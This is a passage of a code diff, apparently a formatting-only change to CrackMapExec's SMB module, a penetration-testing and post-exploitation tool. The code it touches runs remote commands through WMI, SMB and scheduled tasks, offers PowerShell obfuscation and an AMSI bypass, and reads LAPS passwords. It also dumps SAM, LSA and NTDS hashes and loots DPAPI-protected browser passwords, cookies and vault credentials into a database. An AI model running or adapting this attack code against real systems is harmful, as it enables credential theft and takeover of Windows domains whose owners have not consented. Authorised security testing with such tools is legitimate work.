"Options for spidering shares") + sgroup.add_argument("--spider", metavar="SHARE", type=str, help="share to spider") sgroup.add_argument( "--spider-folder", metavar="FOLDER", @@ -373,9 +341,7 @@ class smb(connection): type=str, help="folder to spider (default: root share directory)", ) - sgroup.add_argument( - "--content", action="store_true", help="enable file content searching" - ) + sgroup.add_argument("--content", action="store_true", help="enable file content searching") sgroup.add_argument( "--exclude-dirs", type=str, @@ -400,13 +366,9 @@ class smb(connection): default=None, help="max spider recursion depth (default: infinity & beyond)", ) - sgroup.add_argument( - "--only-files", action="store_true", help="only spider files" - ) + sgroup.add_argument("--only-files", action="store_true", help="only spider files") - tgroup = smb_parser.add_argument_group( - "Files", "Options for put and get remote files" - ) + tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files") tgroup.add_argument( "--put-file", nargs=2, @@ -425,9 +387,7 @@ class smb(connection): help="append the host to the get-file filename", ) - cgroup = smb_parser.add_argument_group( - "Command Execution", "Options for executing commands" - ) + cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument( "--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, @@ -437,20 +397,14 @@ class smb(connection): cgroup.add_argument( "--codec", default="utf-8", - help="Set encoding used (codec) from the target's output (default " - '"utf-8"). If errors are detected, run chcp.com at the target, ' - "map the result with " - "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute " - "again with --codec and the corresponding codec", + help="Set encoding used (codec) from the target's output (default " '"utf-8"). If errors are detected, run chcp.com at the target, ' "map the result with " "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute " "again with --codec and the corresponding codec", ) cgroup.add_argument( "--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process", ) - cgroup.add_argument( - "--no-output", action="store_true", help="do not retrieve command output" - ) + cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument( "-x", @@ -464,12 +418,8 @@ class smb(connection): dest="ps_execute", help="execute the specified PowerShell command", ) - psgroup = smb_parser.add_argument_group( - "Powershell Obfuscation", "Options for PowerShell script obfuscation" - ) - psgroup.add_argument( - "--obfs", action="store_true", help="Obfuscate PowerShell scripts" - ) + psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation") + psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") psgroup.add_argument( "--amsi-bypass", nargs=1, @@ -533,9 +483,7 @@ class smb(connection): self.no_ntlm = True pass - self.domain = ( - self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain - ) + self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host self.server_os = self.conn.getServerOS() self.logger.extra["hostname"] = self.hostname @@ -544,19 +492,13 @@ class smb(connection): self.server_os = self.server_os.decode("utf-8") try: - self.signing = ( - self.conn.isSigningRequired() - if self.smbv1 - else self.conn._SMBConnection._Connection["RequireSigning"] - ) + self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] except Exception as e: self.logger.debug(e) pass self.os_arch = self.get_os_arch() - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") self.output_filename = self.output_filename.replace(":", "-") if not self.domain: @@ -614,20 +556,14 @@ class smb(connection): return False - search_filter = ( - "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" - + self.hostname - + "))" - ) + search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))" attributes = [ "msLAPS-EncryptedPassword", "msLAPS-Password", "ms-MCS-AdmPwd", "sAMAccountName", ] - results = connection.search( - searchFilter=search_filter, attributes=attributes, sizeLimit=0 - ) + results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) msMCSAdmPwd = "" sAMAccountName = "" @@ -635,19 +571,12 @@ class smb(connection): from impacket.ldap import ldapasn1 as ldapasn1_impacket - results = [ - r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry) - ] + results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: for host in results: - values = { - str(attr["type"]).lower(): str(attr["vals"][0]) - for attr in host["attributes"] - } + values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in host["attributes"]} if "mslaps-encryptedpassword" in values: - self.logger.fail( - "LAPS password is encrypted and currently CrackMapExec doesn't support the decryption..." - ) + self.logger.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...") return False elif "mslaps-password" in values: r = loads(values["mslaps-password"]) @@ -656,16 +585,10 @@ class smb(connection): elif "ms-mcs-admpwd" in values: msMCSAdmPwd = values["ms-mcs-admpwd"] else: - self.logger.fail( - "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password" - ) - logging.debug( - f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}" - ) + self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") + logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}") else: - self.logger.fail( - f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}" - ) + self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}") return False @@ -673,9 +596,7 @@ class smb(connection): self.password = msMCSAdmPwd if msMCSAdmPwd == "": - self.logger.fail( - f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}" - ) + self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}") return False if ntlm_hash: @@ -688,13 +609,9 @@ class smb(connection): return True def print_host_info(self): - self.logger.display( - f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})" - ) + self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})") if self.args.laps: - return self.laps_search( - self.args.username, self.args.password, self.args.hash, self.domain - ) + return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True def kerberos_login( @@ -737,9 +654,7 @@ class smb(connection): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: kerb_pass = "" - self.logger.debug( - f"Attempting to do Kerberos Login with useCache: {useCache}" - ) + self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") self.conn.kerberosLogin( username, @@ -758,9 +673,7 @@ class smb(connection): else: self.username = username - used_ccache = ( - " from ccache" if useCache else f":{process_secret(kerb_pass)}" - ) + used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" else: self.plaintext_login(username, password, self.host) return @@ -789,15 +702,11 @@ class smb(connection): self.logger.fail(f"CCache Error: {e}") return False except OSError as e: - used_ccache = ( - " from ccache" if useCache else f":{process_secret(kerb_pass)}" - ) + used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") except (SessionError, Exception) as e: error, desc = e.getErrorString() - used_ccache = ( - " from ccache" if useCache else f":{process_secret(kerb_pass)}" - ) + used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.fail( f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}", color="magenta" if error in smb_error_status else "red", @@ -821,21 +730,15 @@ class smb(connection): self.logger.fail(f"Broken Pipe Error while attempting to login") self.check_if_admin() - self.logger.debug( - f"Adding credential: {domain}/{self.username}:{self.password}" - ) + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) - user_id = self.db.get_credential( - "plaintext", domain, self.username, self.password - ) + user_id = self.db.get_credential("plaintext", domain, self.username, self.password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: - self.logger.debug( - f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}" - ) + self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}") self.db.add_admin_user( "plaintext", domain, @@ -907,9 +810,7 @@ class smb(connection): self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: - self.db.add_admin_user( - "hash", domain, self.username, nthash, self.host, user_id=user_id - ) + self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id) out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}" self.logger.success(out) @@ -952,14 +853,10 @@ class smb(connection): self.smbv1 = True except socket.error as e: if str(e).find("Connection reset by peer") != -1: - self.logger.info( - f"SMBv1 might be disabled on {self.host if not kdc else kdc}" - ) + self.logger.info(f"SMBv1 might be disabled on {self.host if not kdc else kdc}") return False except (Exception, NetBIOSTimeout) as e: - self.logger.info( - f"Error creating SMBv1 connection to {self.host if not kdc else kdc}: {e}" - ) + self.logger.info(f"Error creating SMBv1 connection to {self.host if not kdc else kdc}: {e}") return False return True @@ -976,14 +873,10 @@ class smb(connection): self.smbv1 = False except socket.error as e: if str(e).find("Too many open files") != -1: - self.logger.fail( - f"SMBv3 connection error on {self.host if not kdc else kdc}: {e}" - ) + self.logger.fail(f"SMBv3 connection error on {self.host if not kdc else kdc}: {e}") return False except (Exception, NetBIOSTimeout) as e: - self.logger.info( - f"Error creating SMBv3 connection to {self.host if not kdc else kdc}: {e}" - ) + self.logger.info(f"Error creating SMBv3 connection to {self.host if not kdc else kdc}: {e}") return False return True @@ -995,9 +888,7 @@ class smb(connection): return False def check_if_admin(self): - rpctransport = SMBTransport( - self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn - ) + rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() try: dce.connect() @@ -1008,9 +899,7 @@ class smb(connection): try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - ans = scmr.hROpenSCManagerW( - dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F - ) + ans = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F) self.admin_privs = True except scmr.DCERPCException: self.admin_privs = False @@ -1041,9 +930,7 @@ class smb(connection): if method == "wmiexec": try: exec_method = WMIEXEC( - self.host - if not self.kerberos - else self.hostname + "." + self.domain, + self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, @@ -1064,9 +951,7 @@ class smb(connection): elif method == "mmcexec": try: exec_method = MMCEXEC( - self.host - if not self.kerberos - else self.hostname + "." + self.domain, + self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, @@ -1083,9 +968,7 @@ class smb(connection): elif method == "atexec": try: exec_method = TSCH_EXEC( - self.host - if not self.kerberos - else self.hostname + "." + self.domain, + self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, @@ -1104,9 +987,7 @@ class smb(connection): elif method == "smbexec": try: exec_method = SMBEXEC( - self.host - if not self.kerberos - else self.hostname + "." + self.domain, + self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.conn, self.args.port, @@ -1135,18 +1016,14 @@ class smb(connection): if not isinstance(output, str): output = output.decode(self.args.codec) except UnicodeDecodeError: - self.logger.debug( - "Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings" - ) + self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") output = output.decode("cp437") output = output.strip() self.logger.debug(f"Output: {output}") if self.args.execute or self.args.ps_execute: - self.logger.success( - f"Executed command {self.args.exec_method if self.args.exec_method else ''}" - ) + self.logger.success(f"Executed command {self.args.exec_method if self.args.exec_method else ''}") buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) @@ -1205,9 +1082,7 @@ class smb(connection): try: self.logger.debug(f"domain: {self.domain}") - user_id = self.db.get_user( - self.domain.split(".")[0].upper(), self.username - )[0][0] + user_id = self.db.get_user(self.domain.split(".")[0].upper(), self.username)[0][0] except Exception as e: error = get_error_string(e) self.logger.fail(f"Error getting user: {error}") @@ -1261,9 +1136,7 @@ class smb(connection): if share_name != "IPC$": try: # TODO: check if this already exists in DB before adding - self.db.add_share( - self.hostname, user_id, share_name, share_remark, read, write - ) + self.db.add_share(self.hostname, user_id, share_name, share_remark, read, write) except Exception as e: error = get_error_string(e) self.logger.debug(f"Error adding share: {error}") @@ -1303,9 +1176,7 @@ class smb(connection): self.logger.display("Enumerated sessions") for session in sessions: if session.sesi10_cname.find(self.local_ip) == -1: - self.logger.highlight( - f"{session.sesi10_cname:<25} User:{session.sesi10_username}" - ) + self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}") return sessions except: pass @@ -1360,9 +1231,7 @@ class smb(connection): for group in groups: if group.name: if not self.args.local_groups: - self.logger.highlight( - f"{group.name:<40} membercount: {group.membercount}" - ) + self.logger.highlight(f"{group.name:<40} membercount: {group.membercount}") group_id = self.db.add_group( self.hostname, group.name, @@ -1376,7 +1245,9 @@ class smb(connection): group_id = self.db.get_groups( group_name=self.args.local_groups, group_domain=domain, - )[0][0] + )[ + 0 + ][0] except IndexError: group_id = self.db.add_group( domain, @@ -1388,13 +1259,9 @@ class smb(connection): # So I put a domain group as a member of a local group which is also a member of another local group. # (╯°□°)╯︵ ┻━┻ if not group.isgroup: - self.db.add_credential( - "plaintext", domain, name, "", group_id, "" - ) + self.db.add_credential("plaintext", domain, name, "", group_id, "") elif group.isgroup: - self.db.add_group( - domain, name, member_count_ad=group.membercount - ) + self.db.add_group(domain, name, member_count_ad=group.membercount) break except Exception as e: self.logger.fail(f"Error enumerating local groups of {self.host}: {e}") @@ -1406,9 +1273,7 @@ class smb(connection): for group_name, group_rid in groups.items(): self.logger.highlight(f"rid => {group_rid} => {group_name}") - group_id = self.db.add_group( - self.hostname, group_name, rid=group_rid - )[0] + group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] self.logger.debug(f"Added group, returned id: {group_id}") return groups @@ -1453,17 +1318,15 @@ class smb(connection): self.logger.success("Enumerated members of domain group") for group in groups: - member_count = ( - len(group.member) if hasattr(group, "member") else 0 - ) - self.logger.highlight( - f"{group.memberdomain}\\{group.membername}" - ) + member_count = len(group.member) if hasattr(group, "member") else 0 + self.logger.highlight(f"{group.memberdomain}\\{group.membername}") try: group_id = self.db.get_groups( group_name=self.args.groups, group_domain=group.groupdomain, - )[0][0] + )[ + 0 + ][0] except IndexError: group_id = self.db.add_group( group.groupdomain, @@ -1487,9 +1350,7 @@ class smb(connection): )[0] break except Exception as e: - self.logger.fail( - f"Error enumerating domain group members using dc ip {dc_ip}: {e}" - ) + self.logger.fail(f"Error enumerating domain group members using dc ip {dc_ip}: {e}") else: try: groups = get_netgroup( @@ -1511,12 +1372,8 @@ class smb(connection): self.logger.success("Enumerated domain group(s)") for group in groups: - member_count = ( - len(group.member) if hasattr(group, "member") else 0 - ) - self.logger.highlight( - f"{group.samaccountname:<40} membercount: {member_count}" - ) + member_count = len(group.member) if hasattr(group, "member") else 0 + self.logger.highlight(f"{group.samaccountname:<40} membercount: {member_count}") if bool(group.isgroup) is True: # Since there isn't a groupmember attribute on the returned object from get_netgroup @@ -1529,9 +1386,7 @@ class smb(connection): )[0] break except Exception as e: - self.logger.fail( - f"Error enumerating domain group using dc ip {dc_ip}: {e}" - ) + self.logger.fail(f"Error enumerating domain group using dc ip {dc_ip}: {e}") return groups def users(self): @@ -1561,9 +1416,7 @@ class smb(connection): self.logger.highlight(f"{domain}\\{host_clean:<30}") break except Exception as e: - self.logger.fail( - f"Error enumerating domain hosts using dc ip {dc_ip}: {e}" - ) + self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}") break return hosts @@ -1582,14 +1435,10 @@ class smb(connection): if self.args.loggedon_users_filter: for user in logged_on: if re.match(self.args.loggedon_users_filter, user.wkui1_username): - self.logger.highlight( - f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}" - ) + self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}") else: for user in logged_on: - self.logger.highlight( - f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}" - ) + self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}") except Exception as e: self.logger.fail(f"Error enumerating logged on users: {e}") return logged_on @@ -1614,13 +1463,9 @@ class smb(connection): rpc._create_wmi_connection(namespace=namespace) if wmi_query: - query = rpc._wmi_connection.ExecQuery( - wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY - ) + query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY) else: - query = rpc._wmi_connection.ExecQuery( - self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY - ) + query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY) except Exception as e: self.logger.fail(f"Error creating WMI connection: {e}") return records @@ -1668,9 +1513,7 @@ class smb(connection): self.args.only_files, ) else: - spider.spider( - share, folder, pattern, regex, exclude_dirs, depth, content, only_files - ) + spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, only_files) self.logger.display(f"Done spidering (Completed in {time() - start_time})") @@ -1688,9 +1531,7 @@ class smb(connection): } try: - full_hostname = ( - self.host if not self.kerberos else self.hostname + "." + self.domain - ) + full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain string_binding = KNOWN_PROTOCOLS[self.args.port]["bindstr"] logging.debug(f"StringBinding {string_binding}") rpc_transport = transport.DCERPCTransportFactory(string_binding) @@ -1701,9 +1542,7 @@ class smb(connection): if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. - rpc_transport.set_credentials( - self.username, self.password, self.domain, self.lmhash, self.nthash - ) + rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) if self.kerberos: rpc_transport.set_kerberos(self.kerberos, self.kdcHost) @@ -1726,9 +1565,7 @@ class smb(connection): dce.bind(lsat.MSRPC_UUID_LSAT) try: - resp = lsad.hLsarOpenPolicy2( - dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES - ) + resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) except lsad.DCERPCSessionError as e: self.logger.fail(f"Error connecting: {e}") return entries @@ -1740,9 +1577,7 @@ class smb(connection): policy_handle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation, ) - domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"][ - "DomainSid" - ].formatCanonical() + domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"]["DomainSid"].formatCanonical() so_far = 0 simultaneous = 1000 @@ -1759,9 +1594,7 @@ class smb(connection): for i in range(so_far, so_far + sids_to_check): sids.append(f"{domain_sid}-{i:d}") try: - lsat.hLsarLookupSids( - dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta - ) + lsat.hLsarLookupSids(dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find("STATUS_NONE_MAPPED") >= 0: so_far += simultaneous @@ -1774,9 +1607,7 @@ class smb(connection): for n, item in enumerate(resp["TranslatedNames"]["Names"]): if item["Use"] != SID_NAME_USE.SidTypeUnknown: rid = so_far + n - domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]][ - "Name" - ] + domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"] user = item["Name"] sid_type = SID_NAME_USE.enumItems(item["Use"]).name self.logger.highlight(f"{rid}: {domain}\\{user} ({sid_type})") @@ -1793,31 +1624,23 @@ class smb(connection): return entries def put_file(self): - self.logger.display( - f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}" - ) + self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}") with open(self.args.put_file[0], "rb") as file: try: self.conn.putFile(self.args.share, self.args.put_file[1], file.read) - self.logger.success( - f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}" - ) + self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}") except Exception as e: self.logger.fail(f"Error writing file to share {self.args.share}: {e}") def get_file(self): - self.logger.display( - f"Copying {self.args.get_file[0]} to {self.args.get_file[1]}" - ) + self.logger.display(f"Copying {self.args.get_file[0]} to {self.args.get_file[1]}") file_handle = self.args.get_file[1] if self.args.append_host: file_handle = f"{self.hostname}-{self.args.get_file[1]}" with open(file_handle, "wb+") as file: try: self.conn.getFile(self.args.share, self.args.get_file[0], file.write) - self.logger.success( - f"File {self.args.get_file[0]} was transferred to {file_handle}" - ) + self.logger.success(f"File {self.args.get_file[0]} was transferred to {file_handle}") except Exception as e: self.logger.fail(f"Error reading file {self.args.share}: {e}") @@ -1862,9 +1685,7 @@ class smb(connection): self.logger.display("Dumping SAM hashes") SAM.dump() SAM.export(self.output_filename) - self.logger.success( - f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database" - ) + self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") try: self.remote_ops.finish() @@ -1890,11 +1711,7 @@ class smb(connection): except Exception as e: self.logger.fail(str(e)) - if ( - self.pvkbytes is None - and self.no_da is None - and self.args.local_auth is False - ): + if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False: try: results = self.db.get_domain_backupkey(self.domain) except: @@ -1923,12 +1740,8 @@ class smb(connection): dc_conn = DPLootSMBConnection(dc_target) dc_conn.connect() # Connect to DC if dc_conn.is_admin(): - self.logger.success( - "User is Domain Administrator, exporting domain backupkey..." - ) - backupkey_triage = BackupkeyTriage( - target=dc_target, conn=dc_conn - ) + self.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) backupkey = backupkey_triage.triage_backupkey() self.pvkbytes = backupkey.backupkey_v2 self.db.add_domain_backupkey(self.domain, self.pvkbytes) @@ -1958,16 +1771,8 @@ class smb(connection): self.logger.debug(f"Could not upgrade connection: {e}") return - plaintexts = { - username: password - for _, _, username, password, _, _ in self.db.get_credentials( - cred_type="plaintext" - ) - } - nthashes = { - username: nt.split(":")[1] if ":" in nt else nt - for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash") - } + plaintexts = {username: password for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash")} if self.password != "": plaintexts[self.username] = self.password if self.nthash != "": @@ -1975,9 +1780,7 @@ class smb(connection): # Collect User and Machine masterkeys try: - self.logger.display( - "Collecting User and Machine masterkeys, grab a coffee and be patient..." - ) + self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...") masterkeys_triage = MasterkeysTriage( target=target, conn=conn, @@ -1995,15 +1798,11 @@ class smb(connection): logging.fail("No masterkeys looted") return - self.logger.success( - f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets..." - ) + self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") try: # Collect User and Machine Credentials Manager secrets - credentials_triage = CredentialsTriage( - target=target, conn=conn, masterkeys=masterkeys - ) + credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys) self.logger.debug(f"Credentials Triage Object: {credentials_triage}") credentials = credentials_triage.triage_credentials() self.logger.debug(f"Triaged Credentials: {credentials}") @@ -2013,9 +1812,7 @@ class smb(connection): self.logger.debug(f"Error while looting credentials: {e}") for credential in credentials: - self.logger.highlight( - f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}" - ) + self.logger.highlight(f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") self.db.add_dpapi_secrets( target.address, "CREDENTIAL", @@ -2025,9 +1822,7 @@ class smb(connection): credential.target, ) for credential in system_credentials: - self.logger.highlight( - f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}" - ) + self.logger.highlight(f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") self.db.add_dpapi_secrets( target.address, "CREDENTIAL", @@ -2040,19 +1835,13 @@ class smb(connection): try: # Collect Chrome Based Browser stored secrets dump_cookies = True if self.args.dpapi == "cookies" else False - browser_triage = BrowserTriage( - target=target, conn=conn, masterkeys=masterkeys - ) - browser_credentials, cookies = browser_triage.triage_browsers( - gather_cookies=dump_cookies - ) + browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys) + browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting browsers: {e}") for credential in browser_credentials: cred_url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight( - f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}" - ) + self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}") self.db.add_dpapi_secrets( target.address, credential.browser.upper(), @@ -2065,25 +1854,19 @@ class smb(connection): if dump_cookies: self.logger.display("Start Dumping Cookies") for cookie in cookies: - self.logger.highlight( - f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}" - ) + self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}") self.logger.display("End Dumping Cookies") try: # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage( - target=target, conn=conn, masterkeys=masterkeys - ) + vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys) vaults = vaults_triage.triage_vaults() except Exception as e: self.logger.debug(f"Error while looting vaults: {e}") for vault in vaults: if vault.type == "Internet Explorer": resource = vault.resource + " -" if vault.resource != "" else "-" - self.logger.highlight( - f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}" - ) + self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}") self.db.add_dpapi_secrets( target.address, "IEX", @@ -2101,9 +1884,7 @@ class smb(connection): self.logger.debug(f"Error while looting firefox: {e}") for credential in firefox_credentials: url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight( - f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}" - ) + self.logger.highlight(f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}") self.db.add_dpapi_secrets( target.address, "FIREFOX", @@ -2147,9 +1928,7 @@ class smb(connection): LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) - self.logger.success( - f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}" - ) + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") try: self.remote_ops.finish() except Exception as e: @@ -2182,16 +1961,12 @@ class smb(connection): username, _, lmhash, nthash, _, _, _ = hash.split(":") parsed_hash = ":".join((lmhash, nthash)) if validate_ntlm(parsed_hash): - self.db.add_credential( - "hash", domain, username, parsed_hash, pillaged_from=host_id - ) + self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except: - self.logger.debug( - "Dumped hash is not NTLM, not adding to db for now ;)" - ) + self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: self.logger.debug("Dumped hash is a computer account, not adding to db") @@ -2227,26 +2002,16 @@ class smb(connection): outputFileName=self.output_filename, justUser=self.args.userntds if self.args.userntds else None, printUserStatus=True, - perSecretCallback=lambda secret_type, secret: add_ntds_hash( - secret, host_id - ), + perSecretCallback=lambda secret_type, secret: add_ntds_hash(secret, host_id), ) try: - self.logger.success( - "Dumping the NTDS, this could take a while so go grab a redbull..." - ) + self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() ntds_outfile = f"{self.output_filename}.ntds" - self.logger.success( - f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {ntds_outfile} of which {highlight(add_ntds_hash.added_to_db)} were added to the database" - ) - self.logger.display( - "To extract only enabled accounts from the output file, run the following command: " - ) - self.logger.display( - f"cat {ntds_outfile} | grep -iv disabled | cut -d ':' -f1" - ) + self.logger.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {ntds_outfile} of which {highlight(add_ntds_hash.added_to_db)} were added to the database") + self.logger.display("To extract only enabled accounts from the output file, run the following command: ") + self.logger.display(f"cat {ntds_outfile} | grep 